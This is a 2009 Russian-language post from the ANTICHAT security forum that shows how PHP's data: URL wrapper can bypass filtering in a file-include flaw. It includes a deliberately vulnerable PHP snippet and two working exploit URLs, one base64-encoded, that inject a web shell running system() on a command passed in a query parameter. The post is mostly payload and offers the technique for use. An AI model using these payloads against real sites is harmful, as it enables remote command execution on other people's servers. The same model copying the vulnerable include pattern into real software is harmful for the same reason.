HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Self-contained File Include в PHP
  #1  
Старый 18.02.2009, 11:56
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
С нами: 9296966

Репутация: 585
Lightbulb Self-contained File Include в PHP

Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.

Например, мы имеем код:
Код:
<?

// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:

$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir); 

if (include($dir . '/lala/file.php'))
{
	echo 'Heck!';
}
else 
{ 
	echo 'Error!'; 
} 

?>
Для эксплуатации требуется:
Код:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
Код:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.

<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=

Эксплоит:
Код:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
[*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().

Последний раз редактировалось cr0w; 18.02.2009 в 12:27..
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.